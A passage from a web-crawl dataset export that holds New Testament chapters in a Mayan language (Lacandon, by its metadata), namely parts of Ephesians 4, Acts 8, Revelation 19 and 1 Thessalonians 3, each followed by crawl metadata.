C'uj u ne'er ba' soc u camsicob u yet acsʌ'orirob u t'ʌn C'uj.\n12 Baxuc jera' caj u betaj C'uj ti' a mac a teta'b ten C'uj, soc ca' bin c'uchuc tu q'uinin a mac teta'an ten C'uj cu bin c'ʌmbir soc quir u yamtic u beyajob C'uj. A baxuco' cu bin chichquinbir yorob ti' u t'ʌn C'uj.\n13 A baywo', chan chan ber je' u ch'ijir hasta ca' bin c'uchuc tu q'uinin toc quet tan ij cacsic tij corex, soc quet ij querex u parar C'uj Cristo. A baywo' to'onex yʌn u chichir ic muc'ex tic pixamex, a baywo' je' ij c'uchurex p'eri'o'onex yejer Cristo.\n14 Mʌ' ic yʌn cʌniquex a chichano' quire' seb cu quibicob a ba' cu tar ti'. Wa quij cʌniquex a chichano' yʌn u q'uinin ca' bin ij cu'yiquex tic pixamex qui' ij corex quire' tan ij cʌniquex C'uj. Chen sansam tan ic p'uspachtiquex C'uj. Rajen mʌ' tsoy ij cʌniquex a chichano'. A ba' cu tar cu quibicob a chichano' rajen irob a ba' cu cuchur ten ic'. Rajen ca' bin tac a mac a cu tus aricob u ne'er ba' ti' u t'ʌn C'uj. Jeroj seb cu quibicob a mʌ' quet yejer u t'ʌn C'uj.\n15 Ca' ij quibiquex u t'ʌn C'uj a ba' jach taj. Ca' ic yajquintiquex mac tu cotor. Ca' ij cʌniquex u pixam Cristo quire' raji' ic jo'rex.\n16 Mʌ' ja wirej, raji' quic ts'urintiquex Cristo. Rajen toc quet tsoyir ic beyajex. A baywo' quic pacran yamtiquex ic bʌjex soc ca' bin ts'ocac u beyaj C'uj. A baywo' xan, cu chichquintic ij corex quire' quic pacran yajquintiquex ic bʌjex.\nTi' u tar ij cuxtarex ich ca'anan, a ric'ben cuxtaro'\n17 Quire' tu ts'ajaj ten in muc' ic Jaj Ts'urirex, rajen quin wa'aric techex a je'ra'. Quin chich aric techex a je'ra' mʌ' a cʌniquex a mac cuxa'an ich yoc'ocab quire' a mʌ' yerob C'uj, quire' c'as cu tucricob. Ca' a p'ʌtex aro'.\n18 Mʌ' ja wirej, u pixamob ti' yʌn ich yac'birir, quire' mʌ' tu c'ʌmob u cuxtarob a ric'beno'. Mʌ' tu c'ʌmob quire' jach c'as u pixamob. Mʌ' ja wirej, mʌ' u c'atob u yacsicob tu yorob.\n19 Toc jumpuri' caj u cʌnob a c'aso', rajen cu chen tucricob bic tabar cu pʌyicob mac soc u manob. U bʌjiri'ob mʌ' u p'ʌticob, mix chichin, quire' jach manan qui' yorob a mac a cu manob ich u c'asir.\n20 Mʌ' ta cʌniquex Cristo quir a manex an ten bicob a ti'obo' a cu manob tu c'asir.\n21 Caj a wu'yex ti' Cristo caj u camsechex ti' Cristo caj a cʌnajex u t'ʌn a jach tajo', rajen caj a sayex tu pach Jesús.\n22 Rajen tsire'ej a manex an ten bic caj manechex uch an bic tabar a betex uch. Mʌ' ja wirej, ojij sato'onex uch quire' quic tucriquex ic betiquex c'as a quic pachtiquex ic betiquex.\n23 Ca' a qui' tucrex ti' a ric'ben cuxtarex, a yʌn techex baje'rer.\n24 Ca' a pachtex a ric'ben cuxtarex soc quir u tajquintic a pixamex. Mʌ' ja wirej, ij c'atex ic pixamex jach tsoy an ten bic u pixam C'uj.\n25 Rajen tsire'ej tu cotor tus. Ca' a pacran ariquex a tajo'. Mʌ' ja wirej, toc queto'onex tu quic binex ich C'uj.\n26 Wa ix ti' ca ts'ictarex, qui' irej soc mʌ' a pʌyiquex a si'pirex. Seb ca' sisquintic a worex. Mʌ' a ts'ictarex u bur u q'uinin.\n27 Mʌ' ja wirej, wa ja ts'ictarex jach seb a quisino' cu bin u ts'ʌric a pachex soc a pʌyiquex a si'pirex. Rajen qui' cʌnantex a bʌjex ti' a quisino'.\n28 A techo' a mac tu ya'craj ba' a ucho', baje'rer mʌ' u yʌn a'cric ba'. A ra' winico' ca' u jaric u taq'uin. Raji' xan ca' betej a ba' jach tsoy soc u yamtic a mac jach otsichʌjij.\n29 Mʌ' a yʌn cʌrʌxt'ʌnex. Ca chen tsicbatiquex a tsoyo', quir a yamtiquex a mac a cu yubicob a tsicbʌtiquex. A baywo' a cu yubicob a t'ʌnobex cu bin yamta'bir soc u manob tu berir a tsoyo'.\n30 Mʌ' a tupsiquex yor u Taj'or u Pixam C'uj a ba' ta betajex. Mʌ' ja wirej, u Taj'or u Pixam C'uj irej a ba' a cu ts'ibticob tu pach wacax soc yer ra' yʌnin a wacaxo'. Ra' irej to'onex xan, tu ts'aj to'onex u Taj'or u Pixam C'uj soc ij querex raji' yʌnino'onex C'uj ca' bin c'uchuc tu q'uinin cu bin u taquico'onex.\n31 P'ʌtex u chʌctar a wichex, bayiri' tsire'ej u joc'ar a worex tu ca ts'ictarex. Mʌ' a yʌn joc'siquex u yor mac, mʌ' a manex ich a c'asiro'.\n32 Toc pacran yajquint a bʌjex. Cha' u yiricob mac u jach tsoyir a pixamex. Toc pacran jawsex a si'pirex an ten bic C'uj quire' Cristo caj u jawsaj a si'pirex.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/EP4.html","date":"2022-07-04T11:51:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104375714.75\/warc\/CC-MAIN-20220704111005-20220704141005-00330.warc.gz","language":"lac","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000004768371582}","num_words":1283,"character_repetition_ratio":0.062,"word_repetition_ratio":0.011,"special_characters_ratio":0.291,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nSaulo cu chuquic u pachob a mac a yacsmʌnob tu yorob\n1 A Saulojo', caj u quetquint u yor soc u quinsa' Esteban uch.\nRa'iri' u q'uinin caj ch'inij Esteban caj u yʌnxchun u chuquicob u pachob a yacsmʌnob tu yorob ten a mac a mʌ' yacsmʌnob tu yorob. Jach joc' u yorob a mac a mʌ' ju yacsob tu yorob quire' a yacsmʌnob tu yorob a ti' yʌnob ich u cajar Jerusalén. Rajen puts'ob a yacsmʌnob tu yorobe'. Ti' puts'ob ich u ru'umin Judea. Ti' puts'ob ich u ru'umin Samaria, chen robob a mac teta'b ten Jesús quir u tsec'ta'r u t'ʌn, tiri' p'atob ich u cajar Jerusalén.\n2 Chen a mac a cu sʌjticob C'uj, caj u yirajob quimij Esteban caj u ch'ajob u mucob u baquer Esteban. Jach ac'ta'b Esteban ten a yacsmʌnob tu yorob.\n3 Chen a Saulo uche', caj u pachtaj u ch'esic a mac a caj u yacsajob tu yorob u t'ʌn Jesús. A Saulo', cu rʌc joc'sic ich yatoch tu yʌn a mac a caj u yacsajob tu yorob ca' xic mʌcbir, cax xquic, cax xib cu chuquic. Raji' caj manij cʌxta'bir tu cʌja'anob a mac a tu yacsajob tu yorob ca' u chuquej, ca' u chopʌytejob u purej tu cu naj mʌquicob mac.\nCaj u tsec'taj u t'ʌn C'uj ich u cajar Samaria\n4 A yacsmʌnob tu yorob, a puts'ob ti' u cajar Jerusalén, quire' chucob u pachob, cax tu binob ich u jerob u cajarob, caj u tsec'tajob u jach tsoyir u t'ʌn C'uj.\n5 A Felipejo', turiri' a mac a puts'o', caj bin ich u cajar Samaria, jeroj tune', caj u yʌnxchun u tsec'tic ti'ob, caj ya'araj wa Jesús, raji' a Mesíaso'.\n6 A mac a ti' cʌja'anob ich u cajar Samaria, caj u qui' sarob u xiquin ti' a ba' ara'b ti'ob ten Felipe. Mʌ' ja wirej, tu qui' sarob u xiquin, quire' a ba' caj u ya'araj ti'ob quet bayiri', quire' caj u yirajob u carem beyaj a caj u betaj.\n7 A Felipejo', caj u joc'saj quisin, a mac aca'an quisin ti'. Caj joc'sa'b u quisinin barej awatnʌjob, caj joc'ob u quisinin ich u winquirir. Cax a mech yoc caj u jawsaj Felipe, cax a mac a characbarob, a mʌ' u peque', caj u jawsaj Felipe.\n8 Rajen tu cotor mac caj qui'jij yorob ich u cajar Samaria.\n9 Tiri' yʌn ich u cajar Samaria, turiri' xib, u c'aba' Simón. Raji' cu man u tus c'ʌyic u yet cajarob, rajen jac'a'an u yorob. Raji' caj u ya'araj tu cu man:\n―A teno' ―quij Simón―, jach manan caremen a teno'.\n10 Tu cotor mac a ti' cʌja'anob tu cajar Samaria caj u qui' sarob u xiquin ti' Simón, quire' cu tus sʌjta' ten u rac'ob, cax a chichano', cax u jach ts'urirob tu cajar Samaria. Mʌ' ja wirej, caj u ya'arajob:\n―A je' Simóna', yʌn u muc' C'uj ti', a cu ya'arique': A Jach Manan Muc'o' ―baxuc cu ya'aricob.\n11 A mac cʌja'an ich u cajar Samaria caj u yirajob an bic caj u c'ʌyaj mac, jeroj caj u qui'qui' sarob u xiquin ti', quire' jac'a'an u yorob ti' uch.\n12 Chen a Felipejo' caj u tsec'taj ti'ob u jach tsoyir u t'ʌn an bic cu bin u reyinticob C'uj, bayiri' caj u tsec'taj ti'ob u c'aba' Jesucristo. Jeroj tune', robob a mac a ti' yʌnob ich u cajar Samaria caj u yacsjob tu yorob, bayiri' xan, acsa'bob ja' tu jo'rob, cax xquic, cax xib.\n13 Cax u bʌjiri' yʌjc'ʌyir mac Simón caj u yacsaj tu yor u t'ʌn Jesús, bayiri' acsa'b ja' tu jo'r xan. Caj u p'eri'quint u bʌj soc u yet man Felipe, Simón. Jach jaq'uij yor Simón caj u yiraj carem beyaj caj u betaj Felipe, bayiri' xan, barej u yiraj a ba' cu jac'sic u yor mac a caj u betaj Felipe xan.\n14 Barej caj u yubajob a mac a teta'b ten Jesús quir u tsec'ta'r u t'ʌn a p'atob ich u cajar Jerusalén. Mʌ' ja wirej, caj u yubajob cu yacsicob tu yorob a mac a cʌja'anob ich u cajar Samaria. Rajen tuchi'ta'bob Pedro yejer Juan ten a mac a teta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n15 Caj c'uchob Pedro yejer Juan ich u cajar Samaria tu much'a'anob a mac a yacsmʌnob tu yorob u t'ʌn Jesús. Robob caj u t'ʌnajob C'uj soc u c'ʌmbicob u Taj'or u Pixam C'uj ten a mac a yacsmʌnob tu yor u t'ʌn Jesús.\n16 Quire' u Taj'or u Pixam C'uj mʌ' toy tac tu yicnʌnobi'. Jarari' chen acsa'bob ja' tu jo'rob ich u c'aba' Jaj Ts'ur Jesús, quire' caj u c'ʌmajob u t'ʌn Jesús.\n17 Jeroj tune', ts'anc'ʌbta'b a yacsmʌnob tu yorob ten Pedro quet yejer Juan, jeroj caj tar u Taj'or u Pixam C'uj ich yicnʌnob a mac a yacsmʌnob tu yorob ich u cajar Samaria.\n18 Barej u yiraj Simón bic caj tar u Taj'or u Pixam C'uj caj ts'a'b ti'ob tu ju chen ts'anc'ʌbtajob Pedro quet yejer Juan. A Simóno', u c'at u ts'ic u taq'uin ti'ob, Pedro yejer Juan.\n19 Caj u ya'araj Simón:\n―Je' a taq'uinexa', ca' a chan chuquex ten u muc' C'uj soc in ts'anc'ʌbtic mac xan, soc u tar u Taj'or u Pixam C'uj tu yicnʌnob xan.\n20 Caj u nuncaj Pedro ti' Simón tan ya'aric ti':\n―Ca' xiquech yejer a taq'uin tu ca bin erar, quire' caj a tucraj a mʌnej u Taj'or u Pixam C'uj yejer a taq'uin. Mʌ' ja wirej, raji' sijbir ti' mac ten C'uj.\n21 C'uj yer ―quij Pedro―, mʌ' taj caj a wacsaj ta wor u t'ʌn Jesús, Simón. Rajen mʌ' quet a beyaj yejer C'uj, baxuc a tenob, mʌ' in beyajob yejerech xan.\n22 Toc c'axej a wor Simón ti' a je' c'asir caj a tucraj sam. Ca' a t'ʌnej C'uj soc ix ti' u ruc'sic tech a ba' c'asir caj a tucraj.\n23 Quin wiric choc a wor ―quij Pedro―, bayiri' xan toc yʌn tech a si'pir.\n24 Caj u nuncaj Simón, caj u ya'araj ti'ob:\n―T'ʌnex Jaj Ts'ur ten soc mʌ' u tar tin woc'or a ba' caj a wa'ara sam.\n25 Caj ts'oc u tsec'ticob u t'ʌn Jesús a ba' caj u yirob, Pedro yejer Juan u betic Jesús, quet bayiri' a ba' caj u yirob tu tsicbataj Jesús tu cu tsec'taj u jach tsoyir u t'ʌn C'uj uch. Jeroj caj joc'ob Pedro yejer Juan caj u wʌc'ʌs sutnʌjob tu pach ich u cajar Jerusalén caj u tsec'tajob u jach tsoyir u t'ʌn ich ya'ab u cajarob a ti' yʌn ich u ru'umin Samaria.\nTi' tu nup'aj Felipe a mac a cu tar tu ru'umin Etiopía\n26 Caj ts'oc aro', caj c'uchij u yʌjmasir u t'ʌn Jaj Ts'ur ich Felipe, caj t'an Felipe ten yʌjmasir u t'ʌn Jaj Ts'ur, caj ara'b ti':\n―Joq'uen ich u cajar Samaria ca' xiquech tu berir a cu bin ich u cajar Jerusalén a ra' u berir cu bin ich nojar a tar u wich u bin ich u cajar Gaza ―baxuc ara'b ti'.\nRa' u wich u berir a cu bin ich tʌcay ru'um.\n27 Jeroj tune', Felipe caj riq'uij caj binij. Tar binij ich nojar ich u berir Gaza. Jeroj ti' yʌn xib a cu tar ich u ru'umin Etiopía, toc p'esa'an soc mʌ' u pararʌncʌr uch. A je' xiba' acsa'b tu ts'urir ten a mac a cu reyinticob u ru'umin Etiopía, xquic a cu reyinticob u winiquirob etiopía, u c'aba' Candace. A xibo' cu cʌnantic u taq'uin a Candacejo'. A je' xiba' caj c'uchij ich u cajar Jerusalén quir u c'ujintic C'uj.\n28 Baje'rer cu sut tu pach quir u wʌc'ʌs ur ich u ru'umin Etiopía. Raji' curucbar ich u carro a cu jita'r ten tsimine'. Tu cura'an cu xaquic t'ʌn a tu ts'ibtaj uch a Isaíaso', raji' a ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'uj.\n29 A ray u q'uinino', caj ara'b ti' Felipe ten u Taj'or u Pixam C'uj:\n―C'ʌnej a wacab ca' a nup'ej u carro u winiquir etiopía.\n30 Caj ts'oc u ya'ara' ten u Taj'or u Pixam C'uj, caj u c'ʌnaj u yacab Felipe quir u nup'ic a carrojo' a cu cuchic u winiquir etiopía. Caj c'uchij ich yicnʌn caj u yubaj cu xaquic u ju'unin a ts'iba'an ten Isaías quire' ts'a'b u tucur ten C'uj quir u ts'ibtic uch. Caj c'ata'b ti' ten Felipe:\n―Ca qui' najtic wa ca xaquic?\n31 U winiquir etiopía caj u ya'araj ti':\n―Bic tabar quin najtic wa mʌna' mac cu camsiquen?\nCaj t'ʌn Felipe ca' tac nacʌr ich u carro soc p'eri' ca' curacob.\n32 A tu xaquic Isaías, ra' jun xot' ts'iba'an u t'ʌn C'uj. Baxuc a jera', cu ya'aric Isaías ich a ba' tu ts'ibtaj uch:\nBaxuc tʌmʌn yuc cu cha'bʌr u quinsa'r ten mac, bayiri' xan, irej a mac a teta'b ten C'uj ca' xic quinsbir. Baxuc cu joch'ta'r u tso'tser a tʌmʌn yuco', mʌ' u joc'ar yawʌt, bayiri' xan, irej a mac a teta'b ten C'uje', mʌ' u joc'ar yawʌt cax jats'ʌc ten mac.\n33 Mʌ' ja wirej, p'asta'b a mac a teta'b ten C'uj, cax mʌna' u si'pir toc quinsa'b an ten bic mac a yʌn u si'pir caj quinsa'b. Mʌna' mac c'ucha'an yor ya'aric u si'pirob a ray u q'uinin cuxa'an a mac a teta'b ten C'uj quire' tu quinsajob.\nBaxuc caj u ya'araj a mac a ts'a'b u tucur quir u ts'ibtic a ba' u c'at C'uj.\n34 Jeroj tune', u winiquir etiopía tan u c'ata' ti' Felipe:\n―Chan arej ten soc quin najtic. U bʌjiri' wa Isaías wʌc'ʌs aric, wa C'uj ts'aj u tucur Isaías quir ya'aric a mac cu bin tar biq'uin?\n35 Caj t'an Felipe, caj u yʌnxchun u tsicbʌtic tub u ts'ibmʌn Isaías, caj u tsibʌtaj ti' u jach tsoyir u t'ʌn C'uj a cu tsicbʌtic Jesús u tar.\n36 Caj u manob ich bej, u berir a cu bin Gaza, caj c'uchob tu yʌn ja'. Caj ara'b ti' ten a ju winiquir etiopía:\n―A je' ja' ―quij ya'aric ti'―. Tsoy wa ca wacsic ja' tin jo'r? ―quij.\n37 Caj u nuncaj Felipe:\n―Wa jach taj caj ta wacsaj ta wor, tu cotor wa ta wor ca wacsic u t'ʌn Jesús. Je' in wacsic ja' ta jo'r.\nRaji' caj u nuncaj tan ya'aric:\n―In wacsmʌn tin wor u t'ʌn Jesús, quire' in wer raji' u parar C'uj.\n38 U winiquir etiopía caj u ya'araj ca' xuruc u carro, jeroj tune', robob a ca'turo' caj emob ich ja'. Jeroj Felipe caj u yacsaj ja' tu jo'r u winiquir etiopía.\n39 Cu nacʌticob u chi' ja' caj pʌyij Felipe ten u Taj'or u Pixam C'uj. Mʌ' ca' irij Felipe ten u winiquir etiopía. Raji' caj sutnʌjij tu cajar jach qui' yor.\n40 Chen Felipe seb caj c'uchij ich u cajar Azoto. Caj u man u tsec'tic u jach tsoyir u t'ʌn C'uj. Caj u man tu cotor u cajarob ich u ru'umin aro' hasta c'uchij ich u cajar Cesarea.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC8.html","date":"2022-06-29T06:33:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00125.warc.gz","language":"lac","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000027418136597}","num_words":1780,"character_repetition_ratio":0.086,"word_repetition_ratio":0.002,"special_characters_ratio":0.289,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\n1 Caj ts'oc in wʌyʌc'tic ich ca'anan tu tin wir u cajar Babilonia, jeroj caj in wu'yaj u t'ʌn mac a tu much'a'anob ich ʌcʌtan tu cutan a caremo'. C'am caj u t'ʌnob tan ya'aricob:\nCa' ij caremquintex u c'aba' ic Jaj Ts'urirex C'uj, quire' tu taco'onex soc mʌ' jic binex ich c'ac'. Ca' ic sʌjtex C'uj, quire' a ba' tu betaj. Ca' ic sʌjtex a ti'o' tij corex quire' raji' yʌn tu cotor u muc'. Chen raji' yʌn u muc' tu cotor, quire' raji' ij c'ujirex ic Jaj Ts'urirex.\n2 Mʌ' ja wirej, a ba' u ber ti' u cajar Babilonia, ra' u tajir u bo'orir u si'pir, rajen ts'iquij C'uj, yejer a xquico', quire' raji' cu tus ets'bar u cajar Babilonia. Mʌ' ja wirej, raji' tu pʌy u si'pir tu tu ya'araj u man yejer xquic, bayiri' xan, tu pʌy u si'pir tu tu ya'araj u man yejer xib. Raji' tu pʌy u si'pirob, baxuco' ti' a mac a cʌja'an ich yoc'ocab. A C'ujo', caj ts'iquij yejer quire' tu chuc u pachob a mac a tu yacsob tu yorob ti' C'uj, quire' tu quinsob.\nBaxuc caj ya'araj a mac a much'a'an tu cutan a jach caremo'.\n3 A jach pimo', a much'a'anob ich ʌcʌtan u cutan, a jach caremo', caj u wʌc'ʌs arob:\n―Ca' ij caremquintex u c'aba' ic Jaj Ts'urirex C'uj, quire' tu ch'es u cajar Babilonia. Ra' u buts'ir tu cu yerar, ra' ir u buts'ir tu cu muc'yajob a mac a ti' yʌn ich c'ac' munt q'uino'.\n4 Jeroj tune', robob, a xibo', a nuxibo', a veinticuatrojo', quet yejer a bʌc' cuxa'ano', a cuatrojo', caj rʌc xonrʌjob ich ʌcʌtan mac a curucbar tu cutan, a jach caremo', quir u c'ujinticob. Robob caj u ya'arob:\n―Quire' nup' a t'ʌn an ten bic caj u rʌc arob tech, ca' ij caremquintex a c'aba' ―baxuc caj ya'araj a veinticuatro xib, a nuxibo' yejer a bʌc' cuxa'ano', a cuatrojo'.\n5 Jeroj tune', a mac a bʌytʌc tu curucbar mac tu cutan, a jach caremo', caj u purob u t'ʌn, tan ya'aricob:\nCa' ij qui' t'ʌntex C'uj, a mac quij c'ujintiquex, cax a techex ich ca'anano', quij, cax a techex ich yoc'ocabo'. Quet yejer a mac a cu sʌjticob C'uj, a tan u quibicob u t'ʌn. Ca' a warex: \"Bayo' C'uj\", cax u ca' ts'urir, cax u jach ts'urir.\nU qui'qui' janʌnob tu q'uinin ca' bin uruc Jesús\n6 Tu tin wʌyʌc'taj ich ca'anan, caj in wu'y u t'ʌn mac, raji' irej wa ju t'ʌn pim mac cu t'ʌnob. Chen c'am u t'ʌnob irej u man u jum yoc ja', a chich u yoc ja'o', chen ya'ab u man u jum u yoc ja'. Bayiri' xan, raji' u t'ʌnob u'y u man u jum a cu peco'. A ray t'ʌno', caj u ya'araj:\nCa' ij caremquintex u c'aba' C'uj, a mac jach chich u muc'. Mʌ' ja wirej, raji' u yʌnxchun ij cocar ic reyintex baje'rer.\n7 A ray t'ʌno caj u ya'araj:\nCa' ij qui'quint ij corex a mac a ti' yʌn ich ca'anano', ca' ij qui' t'ʌnex C'uj. Mʌ' ja wirej, c'uchij tu q'uinin ca' bin uruc ic Jaj Ts'urirex, a mac a raji' u tʌmʌn yuc C'uj. Raji' cu tar quir u pʌyic a mac a tu yacsaj tu yor ti', ir a xibo' a cu tar ch' u rac'o', quire' tu qui' cʌnant u bʌj quir u tar pʌybir a ti'o'.\n8 Ir a mac a cu ch'ic u rac'o', raji' cu ts'ic u noc' u rac'.\nBayiri' xan, a Jesúso' je' u ts'abʌr u noc' ti', a jach manan tsoy ti', raji' lino u c'aba'. Jach sʌc, mʌna' u yeq'uir a ti'o'. Mʌ' ja wirej, raji' caj u ts'ajaj ti' a mac a tu yacsaj tu yor ti', quire' ra' u noc'o' sʌc an ten bic a mac a mʌna' u si'pir a ti'o'.\n9 A ray u q'uinino' caj ya'araj yʌjmasir u t'ʌn C'uj ten, tan ya'aric:\n―Ts'ibtej, Juan, a ba' quin bin in wac tech. Arej ti': Jach qui' yorob a mac a cu binob titaro', wa ber ca' bin uruc Jesús, a mac a raji' u tʌmʌn yuc C'uj. A ray u q'uinino', bin u ca' u p'eri'quint u bʌjob yejer a ra' yʌnin C'ujo'. Jach taj a ba' quin wac tech Juan, quire' tin mas u t'ʌn C'uj tech ―baxuc tu ya'araj yʌjmasir u t'ʌn C'uj.\n10 Jeroj, caj xonrʌjen ich u yoc u yʌjmasir u t'ʌn C'uj quir in c'ujintic. Chen raji' caj u ya'araj ten:\n―Mʌ' a c'ujintiquen ―quen―. P'eri' quet ic beyajex ti' C'uj, quet yejer a mac a tan u quibicob u t'ʌn Jesús. Raji' tu junan ca' ij c'ujintex. Mʌ' ja wirej, p'eri'o'onex ic beyajex ti' Jesús, rajen mʌ' jic c'ujintej ic bʌjex. Mʌ' ja wirej, raji' ic beyajex ca' manaco'onex ic tsec'tex Jesús rajen p'eri'o'onex ―baxuc caj ya'araj yʌjmasir u t'ʌn.\nA mac a cʌpa'an tu pach a sʌc tsimino'\n11 A teno', caj in wʌc'ʌs wʌyʌc'taj ich ca'anan. U jer, caj in wiraj u je'pʌjʌr a ca'anano' quir in pʌctic ich ca'anan. Jeroj tune', tin wiraj sʌc tsimin. Yʌn mac cʌpa'an tu pach a sʌc tsimino', raji' ic Jaj Ts'urirex Jesús. Raji' cu betic a ba' cu ya'aric. Raji' cu bin u reyinticob mac tu cotor. Raji' cu bin u ts'ictar yejer a mac a jach c'aso' quire' taj u yor Jesús.\n12 U wich a mac a cʌpa'an tu pach a sʌc tsimino'. Raji' u wichob irej u sasirir c'ac'. Tu jo'ro', yʌn u p'oc, jach ya'ab yʌn. Ra' u p'oco' irej u p'oc a ju p'oquinmʌn a reyo'. Ich yoc'or u tan yʌn ba' ts'iba'an ti'. Raji' u c'aba'. Chen a mac a cu xaquic ti', mʌ' ju najtej ba' u c'at ya'arej. Chen u wʌc'ʌs bʌjiri' cu najtic.\n13 A ray winico', u buquinmʌn u noc'. A noc'o', raji' irej u noc' baxta'b ten u q'uiq'uer. Raji' yʌn u c'aba' a mʌna' u jer yʌnin. Raji' u t'ʌn C'uj.\n14 Robob a mac a cu sayʌrob tu pach, a mac a cʌpa'an tu pach sʌc tsimin, robob jach manan pim, robob u yʌjmasirob u t'ʌn C'uj yejer a mac a tu yacsob tu yorob ti' u t'ʌn C'uj. Robob rʌc cʌpa'anob tu pach sʌc tsimin, u rʌc buquinmʌnob sʌc noc' a jach tsoyo' quire' lino. Mʌna' u yeq'uir u noc'ob.\n15 Caj joc' u t'ʌn tu chi' Jesús ir u mascabir a ca' wʌrʌc' u yejo'. Raji' quir u ch'esic a mac a cu p'acticob a ti'o', quire' tu quibob u t'ʌn a bʌco', a jach caremo', yejer a mac ts'a'b u tucur ten quisin quir u tsicbar a ba' u c'at a quisino'. A Jesúso', tu cu bin u reyinticob mac, mʌna' mac cu bin c'uchur yor ti'. Robob, a mac a cu p'acticob a ti'o', bin u ca' ch'esa'birob irej an ten bic u wich uva cu yach'ʌtʌr soc u joc'ar u c'ab, a baywo' bin u ca' ch'esa'birob ten C'uj.\n16 Ti' ts'iba'an u c'aba' a mac a cʌpa'an tu pach sʌc tsimino'. Ti' ts'iba'an u c'aba' yoc'or u noc', bayiri' xan, tu chacbʌq'uer ti' ts'iba'an u c'aba'. Raji' ts'iba'an. \"Ra' u rey a cu reyinticob tu cotor rey. Ra' u ts'urir a mac a cu ts'urinticob tu cotor mac.\"\n17 Tu tin wʌyʌc'taj ich ca'anan, caj in pʌctaj caj in wiraj u jer yʌjmasir u t'ʌn C'uj. Caj in wiraj, ch'iquicbar ich ic yum. Raji' c'am caj u puraj u t'ʌn ti' a ch'icho', a cu ch'ic u xic' ich ca'anano', soc u yubic u t'ʌnob. Rajen raji' caj ya'araj:\n―Cojenex ―quij―, toc much'quintex a bʌj quir a chi'iquex a wo'och bʌc' a cu bin ts'ajic techex ten C'uj.\n18 Cojenex ―quij―, ca' a chi'ex a wo'och bʌq'uex, u bʌq'uer a reyo' a tu ts'urintajob a bʌc', a jach carem bʌc'o', yejer a mac a ts'a'b u tucur ten quisin quir u tus tsicbar an ten bic u c'at a quisin ucho'. Cojenex ca' a chi'ex a wo'och bʌq'uex, u bʌq'uer a mac a tu quibajob u t'ʌn a reyo', yejer u soldadob, yejer u soldadojob a reyo' a cu cʌptarob tu pach u yʌrʌc' tsiminob, yejer u bʌq'uer u tsiminob xan. Cojenex ―quij―, ca' a chi'ex a wo'och bʌq'uex u bʌq'uer mac, cax jach ts'urir, cax mʌ' jach ts'ur, cax c'ʌna'an ten mac, cax mʌ' c'ʌna'an ten mac ―baxuc caj u ya'araj u yʌjmasir u t'ʌn C'uj, a ch'iquicbar ich ic yumo'.\n19 A teno', caj in wiraj a bʌc'o', a jach carem bʌco', yejer u reyob a cu reyinticob mac ich yoc'ocab, yejer u soldado, ra' quir u quinsicob mac. Robob tan u much'quinticob u bʌj quir u riq'uirob u ba'te't a mac a cʌpa'ano' tu pach a sʌc tsimin yejer u winiquirob, a pimo', a cʌpa'ano' tu pach tsiminob xan.\n20 Jeroj tune', caj chuc a bʌc'o', a jach carem bʌc'o' quir u bin purbir ich c'ac' quir yerar ich azufre. Toc cuxa'an caj purij quet yejer a mac a ts'a'b u tucur ten quisin quir u tus tsicbar a ba' u c'at a quisino', a tu tus araj mac a cʌja'anob yoc'ocab yejer u tus carem beyajob. Raji' tu betaj u tus carem beyajob ich ʌctan a bʌc'o', a jach carem bʌc'o'. Mʌ' ja wirej, quire' a ray u tus carem beyajob, rajen tu c'ʌmajob tu ts'iba'an u pam a bʌc'o', a jach carem bʌc'o' quet yejer caj u sʌjtob u yochir a bʌc'o', a jach carem bʌc'o'.\n21 Chen a mac caj ricsa'b tu ba'te'ob a pa'ay ten bʌc', a jach carem bʌc'o' yejer a mac a ts'a'b u tucur ten quisin quir u tus tsicbar a ba' u c'at a quisino'. Robob caj rʌc quinsa'b ten a mac a cʌpa'an tu pach a sʌc tsimino'. Caj rʌc quinsa'b ten a ra' cʌpa'an tu pach sʌc tsimin yejer u mascabir a cu joc'ar tu chi'. Jeroj tune', caj tar chi'birob a u bʌq'uer ten ch'ich'o', caj rʌc najchʌjob a ch'ich'o'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV19.html","date":"2022-07-05T22:38:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00531.warc.gz","language":"lac","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000011920928955}","num_words":1627,"character_repetition_ratio":0.069,"word_repetition_ratio":0.026,"special_characters_ratio":0.309,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\n1 Mʌ' ja wirej, mʌna' ba' tin wu'yob techex uch. Mʌ' jin muc'obi' tan u jac'ʌr in worob. Rajen ti' p'atenob tin junanob tu cajar Atenas yejer Silvano.\n2 Caj in tuchi'tob ca' tac yirechex ta cajarex Tesalónica ic bʌjobechex Timoteo. Mʌ' ja wirej, in nup'ob Timoteo in wet beyajob tu quin tsec'ticob u t'ʌn C'uj. Raji' u c'urew C'uj quire' tan u man u tsec't u t'ʌn Cristo. Tin tuchi'tob ca' tac ta wicnʌnex quir u qui' camsiquechex tu cotor u t'ʌn C'uj ca' u chich arex techex u t'ʌn C'uj.\n3 Caj in tuchi'tob Timoteo ca' tac ta wicnʌnex quir u chichquintic a worex tu cu chuquicob a pachex a rac'ob soc mʌ' a p'ʌtiquex u t'ʌn C'uj. A werex a C'ujo' cu 